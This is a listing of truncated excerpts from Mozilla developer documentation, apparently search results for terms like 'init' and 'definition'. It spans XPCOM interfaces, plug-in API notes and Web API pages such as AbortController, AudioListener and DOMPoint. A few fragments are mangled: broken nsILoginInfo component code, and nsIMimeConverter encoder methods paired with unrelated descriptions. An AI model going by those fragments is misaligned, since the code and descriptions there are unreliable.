... newlocaleobject() obsolete since gecko 1.9 (firefox 3) nsilocale newlocaleobject( in nsilocaledefinition localedefinition ); parameters localedefinition a locale definition as described in nsilocaledefinition.
...calls to its getcategory method return the values originally passed to the locale definition's addcategory method.
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmiturl astring the origin, not url, a form-based login was submi...
... init() initializes a newly created nsilogininfo object.
... void init( in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield ); parameters ahostname the value to assign to the hostname field.
Using nsILoginManager
see the nsilogininfo attribute definitions for more details.
... defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication l...
...ch as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIMemoryReporterManager
method overview nsisimpleenumerator enumeratemultireporters(); nsisimpleenumerator enumeratereporters(); void init(); void registermultireporter(in nsimemorymultireporter reporter); void registerreporter(in nsimemoryreporter reporter); void unregistermultireporter(in nsimemorymultireporter reporter); void unregisterreporter(in nsimemoryreporter reporter); attributes attribute type description ...
...init() initializes the memory reporter manager.
... void init(); parameters none.
nsIMicrosummaryService
sisimpleenumerator getbookmarks(); nsimicrosummarygenerator getgenerator(in nsiuri generatoruri); nsimicrosummaryset getmicrosummaries(in nsiuri pageuri, in long long bookmarkid); nsimicrosummary getmicrosummary(in long long bookmarkid); boolean hasmicrosummary(in long long bookmarkid); nsimicrosummarygenerator installgenerator(in nsidomdocument xmldefinition); boolean ismicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); nsimicrosummary refreshmicrosummary(in long long bookmarkid); void removemicrosummary(in long long bookmarkid); void setmicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); methods addgenerator() install the microsummary generator from the resource at...
...installgenerator() install the microsummary generator in the given xml definition.
... nsimicrosummarygenerator installgenerator( in nsidomdocument xmldefinition ); parameters xmldefinition an nsidomdocument xml document defining the generator.
nsIMimeConverter
uctured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string decodemimeheadertocharptr(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); mimeencoderdata *b64encoderinit(in mimeconverteroutputcallback output_fn, in void *closure); mimeencoderdata *qpencoderinit(in mimeconverteroutputcallback output_fn, in void *closure); void encoderdestroy(in mimeencoderdata *data, in boolean abort_p); long encoderwrite(in mimeencoderdata *data, in string buffer, in long size); methods encodemimepartiistr() an variant of encodemimepartiistr_...
... b64encoderinit() get an integer property.
... qpencoderinit() void setuint32property(in string propertyname, in unsigned long propertyval); parameters propertyname the name of the property to set.
nsIMsgAccount
inherits from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only.
... init() initializes an account.
... void init(); parameters none.
nsIMsgDBView
void open(in nsimsgfolder folder, in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder, in nsmsgviewflagstypevalue viewflags, out long count); void openwithhdrs(in nsisimpleenumerator aheaders, in nsmsgviewsorttypevalue asorttype, in nsmsgviewsortordervalue asortorder, in nsmsgviewflagstypevalue aviewflags, out long acount); void close(); void init(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewcommandupdater acommandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void docommand(in nsmsgviewcommandtypevalue command); void docommandwithfolder(in nsmsgviewcommandtypevalue command, in nsimsgfolder destfolder); void getcommandstatu...
... void close(); init() initializes the database view for use.
... void init(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewcommandupdater acommandupdater); parameters amessengerinstance amsgwindow acommandupdater sort() sorts the currently loaded messages.
nsIPrinterEnumerator
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void displaypropertiesdlg(in wstring aprinter, in nsiprintsettings aprintsettings); void enumerateprinters(out pruint32 acount,[retval, array, size_is(acount)] out wstring aresult); obsolete since gecko 1.9 void initprintsettingsfromprinter(in wstring aprintername, in nsiprintsettings aprintsettings); attributes attribute type description defaultprintername wstring the name of the system default printer.
... initprintsettingsfromprinter() initializes certain settings from the native printer into the printsettings these settings include, but are not limited to: page orientation, page size, number of copies.
... void initprintsettingsfromprinter( in wstring aprintername, in nsiprintsettings aprintsettings ); parameters aprintername aprintsettings ...
nsISessionStore
ng getclosedtabdata(in nsidomwindow awindow); unsigned long getclosedwindowcount(); astring getclosedwindowdata(); astring gettabstate(in nsidomnode atab); astring gettabvalue(in nsidomnode atab, in astring akey); astring getwindowstate(in nsidomwindow awindow); astring getwindowvalue(in nsidomwindow awindow, in astring akey); void init(in nsidomwindow awindow); void persisttabattribute(in astring aname); void restorelastsession(); void setbrowserstate(in astring astate); void settabstate(in nsidomnode atab, in astring astate); void settabvalue(in nsidomnode atab, in astring akey, in astring astringvalue); void setwindowstate(in nsidomwindow awindow, in astring astate, in b...
... init() initializes the session store service.
... void init( in nsidomwindow awindow ); parameters awindow the window for which to initialize the service.
nsIToolkit
widget/public/nsitoolkit.idlnot scriptable this interface is used to initialize a message pump.
... inherits from: nsisupports last changed in gecko 1.0 method overview void init(in prthread athread); methods init() initialize this toolkit with athread.
... void init( in prthread athread ); parameters athread the thread passed in runs the message pump.
nsITransferable
ew void adddataflavor( in string adataflavor ); nsisupportsarray flavorstransferablecanexport( ); nsisupportsarray flavorstransferablecanimport( ); void getanytransferdata( out string aflavor, out nsisupports adata, out unsigned long adatalen ); void gettransferdata( in string aflavor, out nsisupports adata, out unsigned long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type description converter nsiformatconverter an nsiformatconverter instance which implements the code needed to con...
... init() initializes a transferable object.
... void init( in nsiloadcontext acontext ); parameters acontext the load context associated with the transferable object.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
... methods initmessageevent() initializes the message event.
... void initmessageevent( in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg ); parameters atypearg the event type.
nsIZipReaderCache
= components.classes["@mozilla.org/libjar/zip-reader-cache;1"] .createinstance(components.interfaces.nsizipreadercache); method overview nsizipreader getinnerzip(in nsifile zipfile, in autf8string zipentry); nsizipreader getinnerzip(in nsifile zipfile, in string zipentry); obsolete since gecko 10 nsizipreader getzip(in nsifile zipfile); void init(in unsigned long cachesize); methods getinnerzip() returns a (possibly shared) cached nsizipreader for a zip inside another zip.
...init() initializes a new zip reader cache.
... void init( in unsigned long cachesize ); parameters cachesize the number of released entries to maintain before beginning to throw some out.
Index
12 autoconfig file format definition please see https://wiki.mozilla.org/thunderbird:autoconfiguration:configfileformat.
... 13 autoconfig: how to create a configuration file autoconfiguration, thunderbird authoritative definition 14 autoconfiguration in thunderbird moved to autoconfiguration 15 buddy icons in mail seth spitzer mozilla is now able to show icons in the message header area and the addressbook card pane.
... initially, the training.dat file is empty (there was discussion of shipping with a default file) on spam detection, the user can choose to move spam to a special "junk" folder the user can configure junk mail can be automatically purged from the "junk" folder to analyze a message for spam, we need the entire message, not just the headers.
MailNews Filters
for imap, we tend to initiate the urls synchronously, but because we don't run two urls simultaneously on the same folder, the urls don't run until we've finished downloading headers.
...these filters are initiated in the filter editor, and implemented in nsmsgfilterservice.cpp.
... how to add a filter action add your new action to nsimsgfilteraction add code to file out the new action here add new action to the rulesactiontable add string for the new action to the filter editor dtd file add new action to the filter editor js code add new action to the xbl widget in the filter editor if your action has a parameter, add code to initialize the ui editing an existing filter here and to save to the filter here add your action to filter.properties so it will show up in the filter log.
Working with data
creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes.
... creating initialized cdata objects similarly, you can initialize cdata objects with specific values at the type of creation by specifying them as a parameter when calling the ctype's constructor, like this: var mycdataobj = new type(value); var mycdataobj = type(value); if the size of the specified type isn't undefined, the specified value is converted to the given type.
...each pointer in the array is initialized to null.
Constants - Plugins
« previous this section is a reference to the program definitions used by the plug-in api.
... all program definitions are found in npapi.h.
... npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
Streams - Plugins
npres_user_break: the user canceled the stream directly by clicking the stop button or indirectly by some action, such as by deleting the instance or initiating higher-priority network operations.
... for streams that are not inherently seekable: the stream must be put in np_seek mode initially, because the browser must cache all the stream data on disk in order to access it randomly.
... for streams that are not inherently seekable and not initially in mode np_seek: npn_requestread returns the error code nperr_stream_not_seekable.
Gecko Plugin API Reference - Plugins
d receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins ...
... npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser.
... npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated).
Debugger.Object - Firefox Developer Tools
for example, in firefox, code in privileged compartments sees content dom element objects without redefinitions or extensions made to that object’s properties by content code.
... decompile([pretty]) if the referent is a function that is debuggee code, return the javascript source code for a function definition equivalent to the referent function in its effect and result, as a string.
... forcelexicalinitializationbyname(binding) ifbinding is in an uninitialized state initialize it to undefined and return true, otherwise do nothing and return false.
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
extend lines infinitely: by default, grid lines/tracks are only shown inside the element with display: grid set on it; when toggling this option on, the grid lines extend to the edge of the viewport along each axis.
... extend lines infinitely by default, the grid lines/tracks are only shown inside the element with display: grid set on it.
... when you check the "extend lines infinitely" option, the grid lines extend to the edge of the viewport along each axis.
AbortController.AbortController() - Web APIs
when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... specifications specification status comment domthe definition of 'abortcontroller()' in that specification.
... living standard initial definition ...
AbortController.abort() - Web APIs
when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... specifications specification status comment domthe definition of 'abort()' in that specification.
... living standard initial definition ...
AbortController.signal - Web APIs
when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... specifications specification status comment domthe definition of 'signal' in that specification.
... living standard initial definition ...
AbortController - Web APIs
when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... specifications specification status comment domthe definition of 'abortcontroller' in that specification.
... living standard initial definition ...
AbortSignal - Web APIs
when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... specifications specification status comment domthe definition of 'abortsignal' in that specification.
... living standard initial definition ...
AbstractRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
... living standard static rangethe definition of 'collapsed' in that specification.
... editor's draft initial definition.
AbstractRange.endContainer - Web APIs
specifications specification status comment domthe definition of 'endcontainer' in that specification.
... living standard static rangethe definition of 'endcontainer' in that specification.
... editor's draft initial definition.
AbstractRange.endOffset - Web APIs
specifications specification status comment domthe definition of 'endoffset' in that specification.
... living standard static rangethe definition of 'endoffset' in that specification.
... editor's draft initial definition.
AbstractRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
... living standard static rangethe definition of 'startcontainer' in that specification.
... editor's draft initial definition.
AbstractRange.startOffset - Web APIs
specifications specification status comment domthe definition of 'startoffset' in that specification.
... living standard static rangethe definition of 'startoffset' in that specification.
... editor's draft initial definition.
AesCtrParams - Web APIs
typically this is achieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once).
... counter a buffersource — the initial value of the counter block.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesctrparams' in that specification.
Animation.replaceState - Web APIs
the value can be one of: active: the initial value of the animation's replace state; when the animation has been removed by the browser's automatically removing filling animations behavior.
... examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
... specifications specification status comment web animationsthe definition of 'animation.replacestate' in that specification.
AnimationEvent() - Web APIs
return value a new animationevent, initialized per any provided options.
... specifications specification status comment css animationsthe definition of 'animationevent()' in that specification.
... working draft initial definition.
AnimationEvent - Web APIs
animationevent.initanimationevent() initializes a animationevent created using the deprecated document.createevent("animationevent") method.
... specifications specification status comment css animationsthe definition of 'animationevent' in that specification.
... working draft initial definition.
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
syntax var animationplaybackevent = new animationplaybackevent(type, eventinitdict); parameters type a domstring representing the name of the event.
... eventinitdict optional an optional eventinit dictionary object containing the following fields: bubbles optional defaults to false, of type boolean, indicating if the event bubbles or not.
... specifications specification status comment web animationsthe definition of 'animationplaybackevent()' in that specification.
AudioListener.forwardX - Web APIs
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'forwardx' in that specification.
AudioListener.forwardY - Web APIs
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'forwardy' in that specification.
AudioListener.forwardZ - Web APIs
its default value is -1, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'forwardz' in that specification.
AudioListener.positionX - Web APIs
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'positionx' in that specification.
AudioListener.positionY - Web APIs
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'positiony' in that specification.
AudioListener.positionZ - Web APIs
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'positionz' in that specification.
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'upx' in that specification.
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
its default value is 1, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'upy' in that specification.
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
its default value is 0, and it can range between positive and negative infinity.
...generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'upz' in that specification.
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
notsupportederror the specified connection would create a cycle (in which the audio loops back through the same nodes repeatedly) and there are no delaynodes in the cycle to prevent the resulting waveform from getting stuck constructing the same audio frame indefinitely.
... specifications specification status comment web audio apithe definition of 'connect() to an audionode' in that specification.
... working draft web audio apithe definition of 'connect() to an audioparam' in that specification.
AudioNodeOptions - Web APIs
(see audionode.channelcount for more information.) its usage and precise definition depend on the value of audionodeoptions.channelcountmode.
...(see audionode.channelcountmode for more information including default values.) specifications specification status comment web audio apithe definition of 'audionodeoptions' in that specification.
... working draft initial definition.
AudioParamDescriptor - Web APIs
defaultvalue optional a float which represents initial value of the audioparam.
...e-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'audioparamdescriptor' in that specification.
... working draft initial definition.
BasicCardRequest.supportedNetworks - Web APIs
legal values are defined in the w3c's document card network identifiers approved for use with payment request api, and are currently: amex cartebancaire diners discover jcb mastercard mir unionpay visa example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
...}; var request = new paymentrequest(supportedinstruments, details, options); specifications specification status comment basic card paymentthe definition of 'supportednetworks' in that specification.
... working draft initial definition.
BlobEvent.BlobEvent() - Web APIs
timecode optional a domhighrestimestamp to be used in initializing the blob event.
... specifications specification status comment mediastream recordingthe definition of 'blobevent: blobevent' in that specification.
... working draft initial definition.
CSSKeywordValue.CSSKeywordValue() - Web APIs
examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
... working draft initial definition.
CSSKeywordValue - Web APIs
examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
... working draft initial definition.
CSSMediaRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssmediarule' in that specification.
... css object model (cssom)the definition of 'cssmediarule' in that specification.
... working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'cssmediarule' in that specification.
CSSPageRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'csspagerule' in that specification.
... working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'csspagerule' in that specification.
... obsolete initial definition ...
CSSStyleDeclaration - Web APIs
example var styleobj = document.stylesheets[0].cssrules[0].style; console.log(styleobj.csstext); for (var i = styleobj.length; i--;) { var namestring = styleobj[i]; styleobj.removeproperty(namestring); } console.log(styleobj.csstext); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration' in that specification.
... document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
... obsolete initial definition ...
CSSStyleSheet.insertRule() - Web APIs
then isescaped gets xored by itself, zeroing it isescaped ^= newcharcode===92?1:isescaped; // 92 = "\\".charcodeat(0) } // else, there is no unescaped bracket return originalinsertrule.call(this, selectorandrule, "", arguments[2]); }; } })(cssstylesheet.prototype); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.insertrule' in that specification.
... document object model (dom) level 2 style specificationthe definition of 'cssstylesheet.insertrule' in that specification.
... obsolete initial definition ...
CSSStyleSheet - Web APIs
e cssimportrule .stylesheet <?xml-stylesheet ?> processing instruction in the (non-html) document yes .ownernode processinginstruction .sheet http link header yes n/a n/a n/a user agent (default) style sheets no n/a n/a n/a specifications specification status comment css object model (cssom)the definition of 'cssstylesheet' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstylesheet' in that specification.
... obsolete initial definition ...
Using the CSS properties and values API - Web APIs
css.registerproperty the following will register a css custom properties, --my-prop, using css.registerproperty, as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-prop', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); @property the same registration can take place in css.
... the following will register a css custom properties, --my-prop, using @property, as a color, give it a default value, and have it not inherit its value: @property --my-prop { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } using registered custom properties one of the advantages of registering a property is that the browser now knows how it should handle your custom property through things like transitions!
... --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { height: 40vh; display: block; width: 100%; font-size: 3vw; } window.css.registerproperty({ name: '--registered', syntax: '<color>', inherits: false, initialvalue: 'red', }); while not functionally accurate, a good way to think about the difference between the unregistered property in the above example and the registered property is the difference between a <custom-ident> and a number when trying to animate height.
Using the CSS Typed Object Model - Web APIs
we start with some html: a paragraph with a link, as well as a definition list to which we will add all the css property / value pairs.
... <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap().
... csskeywordvalue is a class that defines keywords like inherit, initial, unset, and other strings you don't quote, such as auto and grid.
CacheStorage - Web APIs
those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
...isourcache ) { continue; } caches.delete( key ); } } try { const data = await getdata(); console.log( { data } ); } catch ( error ) { console.error( { error } ); } specifications specification status comment service workersthe definition of 'cachestorage' in that specification.
... working draft initial definition.
CanvasRenderingContext2D.createLinearGradient() - Web APIs
return value canvasgradient a linear canvasgradient initialized with the specified line.
... examples filling a rectangle with a linear gradient this example initializes a linear gradient using the createlineargradient() method.
... y=0 var gradient = ctx.createlineargradient(20,0, 220,0); // add three color stops gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.5, 'cyan'); gradient.addcolorstop(1, 'green'); // set the fill style and draw a rectangle ctx.fillstyle = gradient; ctx.fillrect(20, 20, 200, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.createlineargradient' in that specification.
CanvasRenderingContext2D.filter - Web APIs
initial value.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filter' in that specification.
... living standard initial definition.
ChildNode - Web APIs
WebAPIChildNode
specifications specification status comment domthe definition of 'childnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
... obsolete added the initial definition of its properties to the elementtraversal pure interface and use it on element.
Clients.claim() - Web APIs
WebAPIClientsclaim
when a service worker is initially registered, pages won't use it until they next load.
... self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status comment service workersthe definition of 'claim()' in that specification.
... working draft initial definition.
ClipboardEvent - Web APIs
clipboardevent.clipboarddata read only is a datatransfer object containing the data affected by the user-initiated cut, copy, or paste operation, along with its mime type.
... specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent' in that specification.
... working draft initial definition.
CompositionEvent - Web APIs
compositionevent.initcompositionevent() initializes the attributes of a compositionevent object.
... specifications specification status comment ui eventsthe definition of 'compositionevent' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'compositionevent' in that specification.
ConstantSourceNode() - Web APIs
the normal range is -1.0 to 1.0, but the value can be anywhere in the range from -infinity to +infinity.
... example in this example, an audio context is created, then a constantsourcenode is established with its offset initialized to 0.5.
... specifications specification status comment web audio apithe definition of 'constantsourcenode: constantsourcenode' in that specification.
ConstantSourceNode - Web APIs
number of inputs 0 number of outputs 1 constructor constantsourcenode() creates and returns a new constantsourcenode instance, optionally specifying an object which establishes initial values for the object's properties.
... you can also create a constantsourcenode whose properties are initialized to their default values by calling audiocontext.createconstantsource().
... specification specification status comment web audio apithe definition of 'constantsourcenode' in that specification.
Constraint validation API - Web APIs
specifications specification status comment html living standardthe definition of 'constraint validation api' in that specification.
... living standard html 5.1the definition of 'constraint validation api' in that specification.
... html5the definition of 'constraint validation api' in that specification.
CredentialsContainer.get() - Web APIs
specifications specification status comment credential management level 1the definition of 'get()' in that specification.
... working draft initial definition.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CustomElementRegistry.get() - Web APIs
return value the constructor for the named custom element, or undefined if there is no custom element definition with that name.
...getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
... living standard initial definition.
DOMMatrix() - Web APIs
syntax var dommatrix = new dommatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string.
...ranslatex = 12; var translatey = 8; var angle = math.pi / 2; var matrix = new dommatrix([ math.sin(angle) * scalex, math.cos(angle) * scalex, -math.sin(angle) * scaley, math.cos(angle) * scaley, translatex, translatey ]); var transformedpoint = point.matrixtransform(matrix); specifications specification status comment geometry interfaces module level 1the definition of 'dommatrix' in that specification.
... candidate recommendation initial definition.
DOMMatrixReadOnly() - Web APIs
syntax var dommatrixreadonly = new dommatrixreadonly([init]) parameters init optional either a string containing a sequence of numbers or an array of integers specifying the matrix you want to create.
... specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly' in that specification.
... candidate recommendation initial definition.
DOMPoint.DOMPoint() - Web APIs
WebAPIDOMPointDOMPoint
that function accepts as input a dompointinit compatible object, including a dompoint or dompointreadonly.
... var windtopleft = new dompoint(window.screenx, window.screeny); var newtopleft = dompoint.frompoint(windtopleft); newtopleft.x += 100; newtopleft.y += 100; specifications specification status comment geometry interfaces module level 1the definition of 'dompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPoint.w - Web APIs
WebAPIDOMPointw
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPoint.x - Web APIs
WebAPIDOMPointx
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPoint.y - Web APIs
WebAPIDOMPointy
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPoint.z - Web APIs
WebAPIDOMPointz
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMPoint - Web APIs
WebAPIDOMPoint
you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a new point by calling the dompoint.frompoint() static method.
... static methods dompoint.frompoint() creates a new mutable dompoint object given an existing point (or a dompointinit dictionary) which provides the values for its properties.
... viewer orientation: {x: ' + roundtotwo(orientation.x) + ', y: ' + roundtotwo(orientation.y) + ', z: ' + roundtotwo(orientation.z) + ', w: ' + roundtotwo(orientation.w)); } } specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
DOMPointReadOnly() - Web APIs
in addition to any finite floating-point value, you may use special values such as ±infinity and nan.
... var point2d = new dompointreadonly(50, 25); var point3d = new dompointreadonly(50, 0, 10); var perspectivepoint3d = new dompointreadonly(50, 50, 25, 0.5); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.w - Web APIs
